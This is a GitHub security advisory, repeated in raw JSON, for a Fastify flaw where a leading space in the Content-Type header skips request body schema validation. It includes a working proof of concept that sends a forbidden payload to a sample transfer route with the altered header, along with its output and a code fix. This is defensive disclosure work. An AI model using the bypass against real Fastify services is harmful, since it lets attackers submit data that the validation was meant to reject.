GHSA-247C-9743-5963

Vulnerability from github – Published: 2026-04-15 19:24 – Updated: 2026-04-15 19:24
VLAI?
Summary
Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header
Details

Summary

A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped. This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).

Details

The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently. Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:

const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓

Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → ['']  (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!

The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely. Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.

PoC

const fastify = require('fastify')({ logger: false });

fastify.post('/transfer', {
  schema: {
    body: {
      content: {
        'application/json': {
          schema: {
            type: 'object',
            required: ['amount', 'recipient'],
            properties: {
              amount: { type: 'number', maximum: 1000 },
              recipient: { type: 'string', maxLength: 50 },
              admin: { type: 'boolean', enum: [false] }
            },
            additionalProperties: false
          }
        }
      }
    }
  }
}, async (request) => {
  return { processed: true, data: request.body };
});

(async () => {
  await fastify.ready();

  // BLOCKED — normal request with invalid payload
  const res1 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': 'application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Normal:', res1.statusCode);
  // → 400 FST_ERR_VALIDATION

  // BYPASS — single leading space
  const res2 = await fastify.inject({
    method: 'POST',
    url: '/transfer',
    headers: { 'content-type': ' application/json' },
    payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
  });
  console.log('Leading space:', res2.statusCode);
  // → 200 (validation bypassed!)
  console.log('Body:', res2.body);

  await fastify.close();
})();

Output:

Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}

Impact

Any Fastify application that relies on schema.body.content (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:

CVE Vector Patched in 5.8.4?
CVE-2025-32442 Casing / semicolon whitespace ✅ Yes
CVE-2026-25223 Tab character (\t) ✅ Yes
CVE-2026-3419 Trailing garbage after subtype ✅ Yes
This finding Leading space (\x20) ❌ No

Recommended fix — add trimStart() before the split in getEssenceMediaType:

function getEssenceMediaType(header) {
  if (!header) return ''
  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fastify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.2"
            },
            {
              "fixed": "5.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:24:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via `schema.body.content` can be completely circumvented by prepending a single space character (`\\x20`) to the `Content-Type` header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.\nThis is a regression introduced by commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (fix for [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc)).\n\n### Details\nThe vulnerability is a **parser-validator differential** between two independent code paths that process the raw `Content-Type` header differently.\n**Parser path** (`lib/content-type.js`, line ~67) applies `trimStart()` before processing:\n```js\nconst type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()\n// \u0027 application/json\u0027 \u2192 trimStart() \u2192 \u0027application/json\u0027 \u2192 body is parsed \u2713\n```\n\n**Validator path** (`lib/validation.js`, line 272) splits on `/[ ;]/` before trimming:\n\n```js\nfunction getEssenceMediaType(header) {\n  if (!header) return \u0027\u0027\n  return header.split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n// \u0027 application/json\u0027.split(/[ ;]/, 1) \u2192 [\u0027\u0027]  (splits on the leading space!)\n// \u0027\u0027.trim() \u2192 \u0027\u0027\n// context[bodySchema][\u0027\u0027] \u2192 undefined \u2192 NO validator found \u2192 validation skipped!\n```\n\nThe `ContentType` class applies `trimStart()` before processing, so the parser correctly identifies `application/json` and parses the body. However, `getEssenceMediaType` splits on `/[ ;]/` before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type `\"\"`, finds nothing, and skips validation entirely.\n**Regression source:** Commit [`f3d2bcb`](https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4) (April 18, 2025) changed the split delimiter from `\u0027;\u0027` to `/[ ;]/` to fix [CVE-2025-32442](https://github.com/fastify/fastify/security/advisories/GHSA-mg2h-6x62-wpwc). The old code (`header.split(\u0027;\u0027, 1)[0].trim()`) was **not** vulnerable to this vector because `.trim()` would correctly handle the leading space. The new regex-based split introduced the regression.\n\n### PoC\n\n```js\nconst fastify = require(\u0027fastify\u0027)({ logger: false });\n\nfastify.post(\u0027/transfer\u0027, {\n  schema: {\n    body: {\n      content: {\n        \u0027application/json\u0027: {\n          schema: {\n            type: \u0027object\u0027,\n            required: [\u0027amount\u0027, \u0027recipient\u0027],\n            properties: {\n              amount: { type: \u0027number\u0027, maximum: 1000 },\n              recipient: { type: \u0027string\u0027, maxLength: 50 },\n              admin: { type: \u0027boolean\u0027, enum: [false] }\n            },\n            additionalProperties: false\n          }\n        }\n      }\n    }\n  }\n}, async (request) =\u003e {\n  return { processed: true, data: request.body };\n});\n\n(async () =\u003e {\n  await fastify.ready();\n\n  // BLOCKED \u2014 normal request with invalid payload\n  const res1 = await fastify.inject({\n    method: \u0027POST\u0027,\n    url: \u0027/transfer\u0027,\n    headers: { \u0027content-type\u0027: \u0027application/json\u0027 },\n    payload: JSON.stringify({ amount: 9999, recipient: \u0027EVIL\u0027, admin: true })\n  });\n  console.log(\u0027Normal:\u0027, res1.statusCode);\n  // \u2192 400 FST_ERR_VALIDATION\n\n  // BYPASS \u2014 single leading space\n  const res2 = await fastify.inject({\n    method: \u0027POST\u0027,\n    url: \u0027/transfer\u0027,\n    headers: { \u0027content-type\u0027: \u0027 application/json\u0027 },\n    payload: JSON.stringify({ amount: 9999, recipient: \u0027EVIL\u0027, admin: true })\n  });\n  console.log(\u0027Leading space:\u0027, res2.statusCode);\n  // \u2192 200 (validation bypassed!)\n  console.log(\u0027Body:\u0027, res2.body);\n\n  await fastify.close();\n})();\n```\n\n**Output:**\n```\nNormal: 400\nLeading space: 200\nBody: {\"processed\":true,\"data\":{\"amount\":9999,\"recipient\":\"EVIL\",\"admin\":true}}\n```\n\n### Impact\nAny Fastify application that relies on \u003ccode\u003eschema.body.content\u003c/code\u003e (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity \u2014 it is a single-character modification to an HTTP header.\nThis vulnerability is distinct from all previously patched content-type bypasses:\n\nCVE | Vector | Patched in 5.8.4?\n-- | -- | --\nCVE-2025-32442 | Casing / semicolon whitespace | \u2705 Yes\nCVE-2026-25223 | Tab character (\\t) | \u2705 Yes\nCVE-2026-3419 | Trailing garbage after subtype | \u2705 Yes\nThis finding | Leading space (\\x20) | \u274c No\n\n\n**Recommended fix** \u2014 add `trimStart()` before the split in `getEssenceMediaType`:\n```js\nfunction getEssenceMediaType(header) {\n  if (!header) return \u0027\u0027\n  return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()\n}\n```",
  "id": "GHSA-247c-9743-5963",
  "modified": "2026-04-15T19:24:41Z",
  "published": "2026-04-15T19:24:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify/security/advisories/GHSA-247c-9743-5963"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify/commit/f3d2bcb3963cd570a582e5d39aab01a9ae692fe4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/fastify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/fastify/releases/tag/v5.8.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fastify has a Body Schema Validation Bypass via Leading Space in Content-Type Header"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…